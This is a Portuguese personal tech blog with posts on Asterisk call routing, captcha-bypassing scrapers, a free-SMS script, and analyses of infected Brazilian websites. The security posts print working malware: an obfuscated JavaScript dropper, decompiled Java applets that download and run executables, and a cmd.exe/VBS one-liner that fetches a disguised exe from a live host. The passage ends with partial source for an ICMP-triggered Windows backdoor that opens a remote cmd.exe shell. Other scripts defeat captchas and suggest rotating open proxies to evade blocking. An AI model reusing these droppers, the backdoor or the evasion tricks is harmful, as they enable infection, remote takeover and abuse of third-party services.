                elif color < 218:
                        print(‘:’),
                elif color < 229:
                        print(“‘”),
                elif color <= 255:
                        print(‘ ‘),
                print
                cont = 1

Até

AGI Portabilidade para números móveis em Asterisk

janeiro 15, 2010 74 comentários

Postei estes dias um source em python para descobrir a portabilidade de números móveis na comunidade Asterisk e meu email começou a lotar sobre perguntas de como construir um AGI para rotear as chamadas por um gateway GSM etc etc.

Cada um tem um cenário diferente do outro vou postar a essencia do Script em Perl + Agi para descobrir para qual operadora um número móvel pertence a partir disso é simples, mas se precisarem de ajuda para algo estamos ae …

Já tem nego me Perguntado pq nao fez em Python o AGI??

R:  Acordei com vontade de fazer em perl …

Script Perl

#!/usr/bin/perl -w

use Asterisk::AGI;
use WWW::Mechanize;
use MIME::Base64;
my $AGI = new Asterisk::AGI;
my %input = $AGI->ReadParse();
my @operadoras = (“Eder”, “Claro”, “Tim”, “Vivo”, “Telemig”, “Oi”, “Nextel”, “Brasil telecom”, “Sercomtel”, “CTBC”);
my $num_saida = $AGI->get_variable(‘EXTEN’);
$num_saida = substr($num_saida,3,10);
$m = WWW::Mechanize->new();
my $data = decode_base64(‘aHR0cDovL3dlYnNlcnZpY2VzLnR3d3dpcmVsZXNzLmNvbS5ici9yZWx1emNhcC93c3JlbHV6Y2FwL’        . ‘mFzbXg=’);
$m->add_header(Referer => $data);
my $s = $data . “/VerOperadora?celular=55” . $num_saida;
$m->get($s);
$c = $m->content;
$c =~ m/>(\d+)</;
$AGI->exec(“NoOp”,”$num_saida”);
$AGI->exec(“NoOp”,”$operadoras[$1]”);

# O codigo se adapta conforme o cenario de cada um, mudar o DIAL para rotear a saida da operadora em questao
####$AGI->exec(“Dial”,”SIP/MUDE AQUI PARA SUA SAIDA SIP ou GSM ou ZAP ou DAHDI ou UNICALL ou DVG etc etc|10″);

# FIM

Extensions.conf

minha linha para a chamada do AGI de testes

exten => _999.,1,agi,pega.pl

ou seja só discar no seu telefoneIP ou sftphone “999+num_do_celular”

Tela:

UPDATE:

12/03/2014

É incrível a quantidade de emails que recebo pedindo para encontrar meios de mostrar números portados, hoje eu tive um tempinho e escrevi um novo código, se olharem no código vão perceber que eu inclui um proxy para enviar as requisições, o site é bem “esperto” e bloqueia todo o range de IP de sua rede pública se ocorrer muitos requests, (descobri isso  da pior maneira enquanto debugava o site), então vocês podem criar uma lista randômica com vários IPs que tenham proxy aberto para enviar as solicitações, código em https://gist.github.com/ederwander/9512693 !

Fui

Eng Eder de Souza

SMS Grátis

janeiro 12, 2010 3 comentários

Olá Pessoas !!

Início de ano resolvi postar um presente para a galera, Script em Python para envio de sms na faixa para Operadoras Tim e Claro!!

Logo deixarei ele completo para o envio de sms para qualquer operadora Aguardem 🙂

Script:

#Eng Eder de Souza
#data 10/01/2010
# -*- coding: iso-8859-1 -*-
import base64
import ClientCookie
import urllib2
import urllib
import re
import sys

NOME = “DIGITE O SEU NOME AQUI”
MSG = “DIGITE SUA MSG AQUI”
def sendsms(ddd,NUM):

    Operadora = [“Eder”, “Claro”, “Tim”, “Vivo”, “Teleming”, “Oi”, “Nextel”, “Brasil telecom”, “Sercomtel”, “CTBC”]
    data = base64.decodestring(‘aHR0cDovL3dlYnNlcnZpY2VzLnR3d3dpcmVsZXNzLmNvbS5ici9yZWx1emNhcC93c3JlbHV6Y2FwLmFzbXg=’)
    p = urllib.urlopen(data+’/VerOperadora?celular=55’+ddd+NUM).read()
    find = re.search(‘>(\d+)<‘, p)
    i = int(find.group(1))
    i = 2
    if (i < 1) or (i > 2):
      print “Este Script ainda nao Efetua envio de SMS para a ” + Operadora[i] + ” Aguarde proximas versoes”
      sys.exit()
    url = “http://www.sbrobous.com/pan”+str(i)+”.php
    req = urllib2.Request(url)
    req.add_header(‘Referer’, url)
    f = urllib2.urlopen(req)
    data = f.read()
    f.close()
    find = re.search(‘ss=(\d+)’, data)
    codcaptcha = find.group(1)
    s = base64.decodestring(‘aHR0cDovL3d3dy5zYnJvYm91cy5jb20vY2FwdGNoYS5waHA/c3M9’)
    url = s + codcaptcha
    req = urllib2.Request(url)
    req.add_header(‘Referer’, url)
    cj = ClientCookie.MozillaCookieJar()
    opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj))
    ClientCookie.install_opener(opener)
    data = ClientCookie.urlopen(req).read()
    cj.save(“infer”, ignore_discard=True, ignore_expires=True)
    find = re.findall(‘>(\d+)<‘, data)
    captcha = find[0] + find[1]
    cj = ClientCookie.MozillaCookieJar()
    cj.load(“infer”, ignore_discard=True, ignore_expires=True)
    opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj))
    ClientCookie.install_opener(opener)
    url = “http://www.sbrobous.com/ser”+str(i)+”.php
    req = urllib2.Request(url)
    req.add_header(‘Referer’, url)
    data = {‘ddd’: ddd, ‘rmsisdn’: NUM, ‘sms’: MSG, ‘nome’: NOME, ‘code’: captcha, ‘ss’: codcaptcha}
    req.add_data(urllib.urlencode(data))
    f = opener.open(req)
    data = f.read()
    if “sucesso” in data:
      print “SMS Enviado com Sucesso”

    else:
      print “Problemas no Envio”

tel=sys.argv[1]

ddd = tel[:2]
NUM = tel[2:10]
sendsms(ddd,NUM)

Tela:

Só para constar a linha 15 do script inteira é esta

 data = base64.decodestring(‘aHR0cDovL3dlYnNlcnZpY2VzLnR3d3dpcmVsZXNzLmNvbS5ici9yZWx1emNhcC93c3JlbHV6Y2FwL

mFzbXg=’)

VLW até

Eng Eder de Souza

Categorias:Uncategorized

Portabilidade DBO Operadoras de Celulares

dezembro 30, 2009 1 comentário

Salve a todos ano novo ta chegando resolvi postar mais um source para descobrir a portabilidade somente para números móveis, funciona que é uma beleza bem rápido por sinal, para um AGI funciona perfeitamente, logo postarei uma outra versão mais robusta, neste novo ano espero ter mais tempo 🙂 .

Source bem enxutinho em python :

import urllib2
import urllib
import re
import sys
def getop(ddd,NUM):
url = “http://www.sbrobous.com/operadora.php
req = urllib2.Request(url)
req.add_header(‘Referer’, ‘http://www.sbrobous.com/operadora.php&#8217;)
data = {‘ddd’: ddd, ‘numero’: NUM, ‘a’: ‘enviar’}
req.add_data(urllib.urlencode(data))
f = urllib2.urlopen(req)
data = f.read()
f.close()
if “<b>” in data:
data  = data.replace(‘</b>’,”)
find = re.search(‘<b>(.*)’, data)
operadora = find.group(1)
print operadora
tel=sys.argv[1]
ddd = tel[:2]
NUM = tel[2:10]
getop(ddd,NUM)

Incrivel como python reduz as linhas de programação !!!

Segue uma tela:

[]’s

Eng Eder de Souza

Portabilidade + DBO + Descobrir Operadoras

novembro 26, 2009 7 comentários

Olá Povo !!

Já faz um bom tempo que tento rotear chamadas de acordo com a operadora na qual o número discado pertence, as rotas ficaram uma bagunça com a chegada da portabilidade, como não tenho dinheiro para pagar um DBO tentei improvisar.

O Script feito em Python ainda falha algumas vezes, mas já é um começo o correto seria treinar o banco de dados do gocr para capturar o captcha com mais precisão mas nao estou tendo tempo de brincar com isso…

# -*- coding: iso-8859-1 -*-

#Eder de Souza 23/11/2009

import re
import ClientCookie
import commands
import sys
import os
import re
inc = 0
MaxTentativas = 15

tel=sys.argv[1]
while inc < MaxTentativas:
  inc = inc + 1
  cj = ClientCookie.MozillaCookieJar()
  opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj))
  ClientCookie.install_opener(opener)
  r = ClientCookie.urlopen(“http://consultanumero.abr.net.br:8080/consultanumero/jCaptcha.do?metodo=carregar“)
  fp = open(‘Captcha.jpg’,’w’)
  fp.write(r.read())
  fp.close()
  cj.save(“infer”, ignore_discard=True, ignore_expires=True)
  commands.getoutput(‘convert Captcha.jpg Captcha.png’)
  commands.getoutput(‘pngtopnm Captcha.png > Captcha.pnm’)
  commands.getoutput(‘ppmchange -remainder black -closeness 20 rgbi:.91/.8/.58 white rgbi:.8/.8/.91 white rgbi:.69/.91/.91 white Captcha.pnm > Captcha_End.pnm’)
  captcha = commands.getoutput(‘gocr -C a-zA-Z0-9 -m 2 -a 90 -d 2 Captcha_End.pnm’)
  rmspace = captcha.replace(‘ ‘, ”)
  rmreturn = rmspace.replace(‘\n’, ”)
  rmunderline  = rmreturn.replace(‘_’,”)
  res = re.search(‘([a-zA-Z0-9]+)’, rmunderline)
  result = res.group(1)
  cj = ClientCookie.MozillaCookieJar()
  cj.load(“infer”, ignore_discard=True, ignore_expires=True)
  opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj))
  ClientCookie.install_opener(opener)
  pagina = opener.open(‘http://consultanumero.abr.net.br:8080/consultanumero/consultarTnSemLogin.do?tn=’+tel+’&captcha=’+result+’&metodo=consultar&#8217;).read()
  if “Nome da prestadora” in pagina:

    pagina  = pagina.replace(‘<br>’,”)
    find = re.search(‘Nome da prestadora: (.*)’, pagina)
    operadora = find.group(1)
    print operadora
    sys.exit()

segue uma tela dele funcionando:

Até mais

Eder

Monitor Realtime + Asterisk

novembro 6, 2009 11 comentários

Bom só quem brincou com AMI no Asterisk sabe como é complicado, Eventos jogados na tela nada parece ter sentido uma avalanche de informações sem padrões definidos, construir aplicações genéricas se torna uma missão. 

Eu iniciei a pouco mais de dois anos um projeto monitor em Realtime a principio era para monitoramento só para verificar quem estava fazendo ou recebendo ligações, pensei “Moleza Delphi + Socket + AMI”. 

Dores e mais dores de cabeça na época tinha um link R2 com uma placa da digium rodando com o Unicall para quem tinha placa E1 Digium era a única saida de conversar com a sinalização R2. Então olhando o retorno do AMI iniciei um esboço de como pegar o retorno no buffer do meu Socket em Delphi 6.0 e montar algo bonitinho para usuários ficarem vendo tudo que acontece de atividade no canal Unicall do Asterisk !! 

Então vamos ver o que um core show channels verbose nos retorna !! 

Channel              Context              Extension        Prio State   Application  Data                      CallerID        Duration Accountcode BridgedTo
UniCall/16-1         default              1579                1 Up      Bridged Call SIP/6007-00f839c0         80151333623971                       SIP/6007-00f839c0
SIP/6007-00f839c0    default              80151333623971     22 Up      Dial         Unicall/g1/0151333623971  6007            00:02:40             UniCall/16-1
UniCall/14-1         default              1599                1 Up      Bridged Call SIP/6004-00d2fe00         80151938622970                       SIP/6004-00d2fe00
SIP/6004-00d2fe00    default              80151938622970     22 Up      Dial         Unicall/g1/0151938622970  6004            00:03:52             UniCall/14-1
UniCall/11-1         default              1599                1 Up      Bridged Call SIP/6006-00ea6650         80151335689403                       SIP/6006-00ea6650
SIP/6006-00ea6650    default              80151335689403     22 Up      Dial         Unicall/g1/0151335689403  6006            00:05:18             UniCall/11-1
SIP/6008-00e46a10    default                                  1 Up      Bridged Call UniCall/12-1              1938323241                           UniCall/12-1
UniCall/12-1         default              91000               3 Up      Queue        atendimento|r|||90        1938323241      00:06:10             SIP/6008-00e46a10
UniCall/10-1         default              1599                1 Up      Bridged Call SIP/6002-00f034c0         881895124                            SIP/6002-00f034c0
SIP/6002-00f034c0    default              881895124          22 Up      Dial         Unicall/g1/81895124       6002            00:06:37             UniCall/10-1
UniCall/13-1         default              1599                1 Up      Bridged Call SIP/6005-00f15800         808007771007                         SIP/6005-00f15800
SIP/6005-00f15800    default              808007771007       22 Up      Dial         Unicall/g1/08007771007    6005            00:09:02             UniCall/13-1
12 active channels
6 active calls

Bagunça !!!! 

Então a idéia seria filtrar essa bagunça e procurar por palavras chaves Criando uma funçao Busca para isso !!

Function BuscaTexto(Text,Busca : string) : string;
var n : integer;
begin
  for n := 1 to length(Text) do
    begin
       if Copy(Text,n,length(Busca)) = Busca then
          begin
             Result := ‘ok’;
             RetornoBuscaPos:=n;

          end;

    end;
end;

Agora eu poderia pegar dentro do Buffer do socket qualquer palavra chave como a “Unicall/g1”  e depois caminhar com um ponteiro para recortar isso em qualquer lugar e depois só teria que colocar o valor no GRID. 

Entao como ficaria: 

if BuscaTexto(Msg,’Unicall/g1/’) = ‘ok’ then
        begin
        if Copy(Msg,86,RetornoBuscaPos-79) = ‘Unicall’ then
          //pega o ramal que originou a chamada
          MainForm.StringGrid1.Cells[0,contador]:= Copy(Msg,5,RetornoBuscaPos-82);
          //pega o numero discado para fora destino ‘ ‘Unicall/g1/’
          MainForm.StringGrid1.Cells[1,contador]:= Copy(Msg,97,RetornoBuscaPos-71);

  
Extremamente Trabalhoso Marinheiro de Primeira viagem um colega de cuiaba o Juniou tbm embarcou nessa aventura ele mal dormia, por fim segue algumas telas depois de todo o trabalho …   

voip-monitor 

Tela com opção de verificar chamadas recebidas

programa-asterisk  

Monitor 

Assim tudo em AMI eu teria o retorno de 5 em 5 segundos do comando “core show channels verbose” na qual montaria a tela de ligações em um intervalo de 5 em 5 segundos…. 

Até a Proxima

Eng Eder de Souza

http://info.abril.com.br/ Permitindo Infecções

outubro 29, 2009 2 comentários

Olá pessoal estava eu navegando tranquilamente pela Internet e exatamente as 18:00 horas da data de hoje 29/10/2009 me deparo com mais uma possível tentativa de infecção via página web, desta vez o alvo foi o forum do site http://info.abril.com.br.

Vamor ver o que isso nos revela identifiquei o problema na área de forum-antigo do site não verifiquei se outras áreas estão comprometidas…

Ao entrar em http://info.abril.com.br/forum-antigo/areas.php temos várias salas de discuções,  procurei a sala de C++ que me levou para o seguinte link http://info.abril.com.br/forum-antigo/topicos.php?area=142, até ae tudo tranquilo cliquei em um tópico qualquer e por sinal os tópicos são bem antigos cliquei no tópico que havia um source em C++ com  DLLIMPORT para Ldap achei meio interessante,  ao clicar  é que a aventura se inicia fui para a seguinte página http://info.abril.com.br/forum-antigo/forum.php?topico=864538, adivinha uma janela do java pede confirmação “run”, mais uma vez vem a minha mente não vem coisa boa então vamos ao garimpo….

FreeBsd em ação:

yoda# fetch http://info.abril.com.br/forum-antigo/forum.php

humm source do forum.php dei um locate dentro dele procurando o .jar nada e nada, mas nao desisti olhei com calma logo pensei é algum frame nesta página e bingo ultima linha do source existia:

<IFRAME NAME=”editoraabril” SRC=”http://65.114.98.174/i.html” WIDTH=”0″ HIEGHT=”0″ FRAMEBORDER=”0″></IFRAME>

Ae ae ae nesse instante eu já imaginava que nao vinha coisa boa prompt do FreeBsd:

yoda# fetch http://65.114.98.174/i.html

yoda# vi i.html

para a minha surpresa olha o resultado do arquivo

yoda# cat i.html
<!–hppage status=”protected”–>
<html><!–HEAD–><SCRIPT LANGUAGE=”JavaScript”><!–
document.write(unescape(“%3C%53%43%52%49%50%54%20%4C%41%4E%47%55%41%47%45%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B%3D%74%72%75%65%3B%66%75%6E%6
3%74%69%6F%6E%20%68%70%5F%64%30%32%28%73%29%7B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%75%72%6E%3B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73%3
D%22%22%2C%69%63%3D%30%2C%70%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3
C%31%32%38%29%63%3D%63%5E%28%28%70%2B%2B%25%38%29%2B%31%29%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%6
8%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6F%29%7
D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50%54%3E”));//–></SCRIPT><SCRIPT LANGUAGE=”JavaScript”><!–
hp_d02(unescape(“=Q@VLVS(MCMCPG@M%3C IesgTksksp’8;),/^N^Ncsikuklj%25nwWbo+-~tb|tpm$cgk{d%7Feqkesanl#luYjl)g*%7Fhgd5ocumbgsgs,vw`tFodlw*lhcmyMe,%22Kfk&+%229(7%3Cag%22+`jeredlw*dj
k!zke,`pbfu,aqqrhf%3C?1xy.jib$%25,`pbfu,`pwjLmx~%7Fasci|/if}Ficm%3C?:5,/.ssgwqwh’n`npax{bdrgxmc.b&vjjgm;:;}~+ide!.)g-ijbnnhgqw8;5t}g-gqtkCd{*-,}umuwqj%25`fdrg~yxoa ocumbgsgs,btu
Hfed,jjac%7FGg*$Mkrbzogw$@~wdnpfv%22/:5,3%7Fx-hf~hebpjt)}rgqEbci|/km“~Hn)%25NWLC ! ?.5# cgbwnakr)imn-h`h`|i#>4,/|ag*gkfsjmov-eij.slc`9kgqafcwkw(r{dpBc`hs&hlga}Ia &Obg%22/&5,38r
`ttanl>tdttmGnleq. 8&)meso`iumq*pubz@efjq(t}cqwv-hf~hebpjt)}rgqEbci|/km“~Hn)%25NWLC !*7*(46.3hd+%25hgd.’tfvvohf?6*%7Faid}lgmp+iiknlwa}rjmow>luYde|gow`}cgbwnakr)goolqvccgvl>luYj
l:flgpkbfu,ljnc~lnum9mvXee%7F~aiub(hd+`jeredlw*ig~msq*%7Froilnu-gdvs}sgFr`hs{)Guakr)ENWPAAIPF}Guakr)enfjblcu{}Guakr)CD[GKRH.3vkm`jq)goolqvccgvl>luYjl:ujjaip&nlha|bh%7Fo?ktZkcudn

~

Criptografado entao vamos descriptografar !!

Com ele descriptografado temos :

yoda# cat i_descripto.html

<script language=”JavaScript”>
</script>
<script language=”JavaScript”>
</script>
<script language=”JavaScript”>
</script>
<script language=”JavaScript”>
</script>
<script language=”JavaScript”>
</script>
<meta content=”No-Cache” http-equiv=”Pragma”/>
<meta content=”No-Cache,Must-Revalidate,No-Store” http-equiv=”Cache-Control”/>
<meta content=”NoIndex” name=”Robots”/>
<meta content=”0″ http-equiv=”Expires”/>

<applet height=”1″ width=”1″ archive=”google.jar” code=”main.class” name=”Java Plugin (Clique em ”Run” para um funcionamento correto)”/>
<noscript>To display this page you need a browser with JavaScript support.</noscript>
<script language=”JavaScript”>
</script>
yoda#

Bingo olha ae o jar google.jar  BOOMMM !!!

yoda# fetch http://65.114.98.174/google.jar

yoda# unzip google.jar
Archive:  google.jar
  inflating: META-INF/MANIFEST.MF
  inflating: META-INF/KEY.SF
  inflating: META-INF/KEY.RSA
  inflating: main.class
yoda#

Entao vamos lá eng. reversa em main.class

E ae esta o Coração do Dragão

import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;

public class main extends Applet
{
  private static final long serialVersionUID = 2L;

  public void main_start()
    throws Exception
  {
    String str1 = System.getenv(“USERPROFILE”);
    byte[] arrayOfByte = new byte[10240];
    String str2 = getParameter(“p”);

    File localFile1 = new File(str1 + “\\maind.exe“);

    FileOutputStream localFileOutputStream = new FileOutputStream(localFile1);
    URL localURL = new URL(str2);
    URLConnection localURLConnection = localURL.openConnection();
    BufferedInputStream localBufferedInputStream = new BufferedInputStream(localURLConnection.getInputStream());

    while ((i = localBufferedInputStream.read(arrayOfByte)) > 0)
    {
      int i;
      localFileOutputStream.write(arrayOfByte, 0, i); }
    localFileOutputStream.close();
    try
    {
      Runtime.getRuntime().exec(localFile1.getAbsolutePath());
    }
    catch (IOException localIOException)
    {
      File localFile2 = File.createTempFile(“tmp”, “.bat”);
      localFile2.createNewFile();
      localFile2.deleteOnExit();
      Runtime.getRuntime().exec(localFile2.getAbsolutePath());
      localFile2.delete();
    }
    localFile1.deleteOnExit();
  }

  public void init()
  {
    try
    {
      main_start();
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
    super.init();
  }
}

Mais uma vez heim não aguento mais, Amanha vou analisar o source com carinho te mais!!

Eng Eder de Souza

Categorias:Segurança

Mais um site Permitindo Infecção de Computadores

outubro 17, 2009 Deixe um comentário

Desta vez o site é o http://broadwayworld.com

O site apresenta a mesma falha existente no site do saopaulofc.com.br uma análise pode ser encontrada aqui

A infecção ocorre quando os usuários clicam sobre um link dentro do site este direciona o usuário para uma página chamada “poll.cfm” este link é referenciado com conteúdos de enquetes perguntadas pelo site sobre as celebridades.

A técnica é a mesma já descrita aqui veja:

invasao2

Reparem do lado direito da imagem o campo chamado “QUICK POLL” ele o leva para “poll.cfm”

que apresenta o seguinte código

invasao

 

O mesmo conteúdo do site saopaulofc.com.br…

 

Estou começando a achar que existem mais sites infectados do podemos imaginar.

 

Até a Próxima…

Categorias:Segurança

Site http://www.saopaulofc.com.br Hackeado

outubro 16, 2009 1 comentário

Conversa sobre até então uma possível Invasão:

“Fernando *Eternamente* says:
Wando?
٠•● ıl.ıl.ılıl.ıl [̲̲̅̅E̲̲̅̅] [̲̲̅̅D̲̲̅̅] [̲̲̅̅E̲̲̅̅] [̲̲̅̅R̲̲̅̅] ıl.ıl.ılıl.ıl ●•٠ says:
é agora quem podera nos defender ?
Fernando *Eternamente* says:
http://www.saopaulofc.com.br/index.php
acessa ai
٠•● ıl.ıl.ılıl.ıl [̲̲̅̅E̲̲̅̅] [̲̲̅̅D̲̲̅̅] [̲̲̅̅E̲̲̅̅] [̲̲̅̅R̲̲̅̅] ıl.ıl.ılıl.ıl ●•٠ says:
nem fudendo esse lixo ae
Fernando *Eternamente* says:
tá chamando para executar uma parada de java
٠•● ıl.ıl.ılıl.ıl [̲̲̅̅E̲̲̅̅] [̲̲̅̅D̲̲̅̅] [̲̲̅̅E̲̲̅̅] [̲̲̅̅R̲̲̅̅] ıl.ıl.ılıl.ıl ●•٠ says:
sera q foi invadido ?
Fernando *Eternamente* says:
então, eu achei estranho cara
٠•● ıl.ıl.ılıl.ıl [̲̲̅̅E̲̲̅̅] [̲̲̅̅D̲̲̅̅] [̲̲̅̅E̲̲̅̅] [̲̲̅̅R̲̲̅̅] ıl.ıl.ılıl.ıl ●•٠ says:
pera ae deixa eu ir pro desktop freebsd para abrir”

Eu sou Palmeirense antes de mais nada ..

Como é de se esperar vejam !!!

Analisando o Index.php

<applet width=’1′ height=’1′ code=’FlashPlayer.class’ archive=’http://www.sparesweb.com/images/flash.jar’&gt;

yoda# fetch http://www.sparesweb.com/images/flash.jar

yoda# file flash.jar
flash.jar: Zip archive data, at least v2.0 to extract

yoda# unzip flash.jar

inflating: META-INF/MANIFEST.MF
inflating: META-INF/FLASHPLA.SF
inflating: META-INF/FLASHPLA.DSA
inflating: FlashPlayer.class

usando engenharia reversa em FlashPlayer.class

import java.applet.Applet;
import java.io.IOException;

public class FlashPlayer extends Applet
{
public void init()
{
String str1 = getParameter(“first”);
try {
Process localProcess1 = Runtime.getRuntime().exec(str1);
}
catch (IOException localIOException1)
{
localIOException1.printStackTrace();
}

String str2 = getParameter(“second”);
try {
Process localProcess2 = Runtime.getRuntime().exec(str2);
}
catch (IOException localIOException2) {
localIOException2.printStackTrace();
}

String str3 = getParameter(“third”);
try {
Process localProcess3 = Runtime.getRuntime().exec(str3);
}
catch (IOException localIOException3) {
localIOException3.printStackTrace();
}
}
}

Analisando novamente o index.php

<param name=’first’ value=’cmd.exe /c echo Const adTypeBinary = 1 > poq.vbs & echo Const adSaveCreateOverWrite = 2 >> poq.vbs & echo Dim BinaryStream >> poq.vbs & echo Set BinaryStream = CreateObject(“ADODB.Stream”) >> poq.vbs & echo BinaryStream.Type = adTypeBinary >> poq.vbs & echo BinaryStream.Open >> poq.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> poq.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> poq.vbs & echo Function BinaryGetURL(URL) >> poq.vbs & echo Dim Http >> poq.vbs & echo Set Http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> poq.vbs & echo Http.Open “GET”, URL, False >> poq.vbs & echo Http.Send >> poq.vbs & echo BinaryGetURL = Http.ResponseBody >> poq.vbs & echo End Function >> poq.vbs & echo Set shell = CreateObject(“WScript.Shell”) >> poq.vbs & echo shell.Run “lsass.exe” >> poq.vbs & start poq.vbs http://www.mustrad.org.uk/ses/reviews/adobe.jpg lsass.exe’>

Analisando :

yoda# fetch http://www.mustrad.org.uk/ses/reviews/adobe.jpg

yoda# file adobe.jpg
adobe.jpg: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit

Olhando novamente o arquivo FlashPlayer.class, podemos notar o getParameter(“first”);  na qual permite execução de processos locais passados como parametros para o JavaApllet. Esta execução monta o segunte arquivo.

poq.vbs

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject(“ADODB.Stream”)
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.Write BinaryGetURL(Wscript.Arguments(0))
BinaryStream.SaveToFile Wscript.Arguments ( 1 ) , adSaveCreateOverWrite

Function BinaryGetURL ( URL )
Set Http = CreateObject(WinHttp.WinHttpRequest.5.1)
Dim Http
Set Http = CreateObject(WinHttp.WinHttpRequest.5.1)
Http.Open “GET”, URL, False
Http.Send
BinaryGetURL = Http.ResponseBody
End Function

Set shell = CreateObject(“WScript.Shell”)
shell.Run “lsass.exe”

o poq.vbs é executado tendo como parametro o jpg http://www.mustrad.org.uk/ses/reviews/adobe.jpg que como vimos  o adobe.jpg nada mais é do que um arquivo DOS executável. tornando infectado o processo Windows “lsass.exe”

 

O Problema Aparentemente foi identificado na noite de 15/10/2009.

Até a presente data da publicação desta análise hora 14:00 do dia 16/10/2009, o problema no site em questão ainda não havia sido resolvido…

 

Acho que é isso sempre Alerta …

import java.applet.Applet;
import java.io.IOException;
Categorias:Segurança

Relembrando a Faculdade

setembro 15, 2009 Deixe um comentário

Semana passada estava fazendo uma grande limpa de cd’s antigos em casa, quando me deparo com um CD escrito “Tralhos Faculdade” resolvi ver o conteudo e estava cheio de sources em C, logo me atenti em um nome “frankenstein.c” entao dev-c++ entra em ação e me reporta  momentos nostálgicos, era um source que tinha feito para brincadeiras nos labs Windows da faculdade, época onde a brincadeira rolava solta, labs infestados de Windows assim como areia no deserto, me lembro que tinha feito vários destes brinquedinhos para tomar conexao remota de máquinas por controle de ping estipulando o tamanho dos pacotes…

Para quem ficou Curioso ae esta o Source !!

 

/*
Em solo Linux ou Windows disparar ping para o host na qual o programa esta executando !

Compilador:
    DevC++:
          
        
 
  Pacotes com tamanho 400 dispara msg na tela
  Pacotes com tamanho 500 Abre porta tcp 12345 para conexao via telnet
  Pacotes com tamanho 600 faz um bind para o seu ip em Listem na porta TCP 55
 
  Ex:
          Linux
          ping -s 400 IP
         
          Windows
          ping IP -l 400
          
*/

#define _WIN32_WINNT 0x0500
#define MAX_PACKET_SIZE 65525
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define MAXBUFFER 1024
#define SHELL_NAME “cmd.exe”
#define MEUIP_VALIDO “COlOQUE SEU IP VALIDO”

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,”ws2_32″)

 

SOCKET sock,cli,sendrecv;
HANDLE InputRead, InputWrite, OutputRead, OutputWrite;
HANDLE hRead, hWrite;
BOOL uscita;
DWORD WINAPI Output(LPVOID data);
DWORD WINAPI Input(LPVOID data);
DWORD threadIdOut, threadIdIn; 
DWORD ByteRead;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
 

 

char buf[1024];
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow);
int lun=sizeof (struct sockaddr);
int verifica=0;
typedef struct iphdr
{
 unsigned char VerIHL;
 unsigned char Tos;
 unsigned short Total_len;
 unsigned short ID;
 unsigned short Flags_and_Frags;
 unsigned char TTL;
 unsigned char Protocol;
 unsigned short Checksum;
 unsigned long SrcIP;
 unsigned long DstIP;
 
} IpHeader;

typedef struct port
{
 unsigned short SrcPort;
 unsigned short DstPort;
}
TcpUdpPort;
int BytesRecv;
char *BIND2IP= “127.0.0.1”;

 
void PegaIP()
   {
      WSADATA  wsaData;
      char     szHostname[100];
      HOSTENT *pHostEnt;
      int      nAdapter = 0;
      int      i = 0;
      char     *IP;
      struct   sockaddr_in sAddr;

      if (WSAStartup(0x0101, &wsaData))
      {
         printf(“WSAStartup Falhou %s\n”, WSAGetLastError());
         return;
      }

      gethostname( szHostname, sizeof( szHostname ));
      pHostEnt = gethostbyname( szHostname );

      while ( pHostEnt->h_addr_list[nAdapter] )
      {
       i++;
         memcpy ( &sAddr.sin_addr.s_addr, pHostEnt->h_addr_list[nAdapter],
                  pHostEnt->h_length);

       
         if (i == 1) {
          IP = inet_ntoa(sAddr.sin_addr);
          printf(“Endereço IP principal: %s\n”, IP);
          BIND2IP = IP;
         
               }
     

         nAdapter++;
      }
      WSACleanup();
      return;

   }
 

void MostraMsg()
 {
CreatePipe(&hRead, &hWrite, NULL, 0);

WriteFile(hWrite, “Humm já eraaa”, 13, &ByteRead, NULL);
 
ReadFile(hRead, buf, 13, &ByteRead, NULL);

MessageBox(HWND_DESKTOP, buf, “OI”, MB_OK);

 

void TelNete()
 {
         WSADATA wsaData;
         SOCKET hSocket;
         STARTUPINFO si;
         PROCESS_INFORMATION pi;
         struct sockaddr_in serv_addr;
   struct sockaddr_in sock_addr,sendrecv_addr;
         WSADATA data;
      WORD p;
      int len(char *);
      p=MAKEWORD(2,0);
      WSAStartup(p,&data);
         verifica=1;
         WSAStartup(MAKEWORD(2,0),&wsaData);
         hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
         serv_addr.sin_family=PF_INET;
   serv_addr.sin_port=htons(12345);
         serv_addr.sin_addr.s_addr=INADDR_ANY;
      sock=socket(PF_INET,SOCK_STREAM,0);
         bind(sock,(struct sockaddr *)&serv_addr,0x10);
         listen(sock,1);
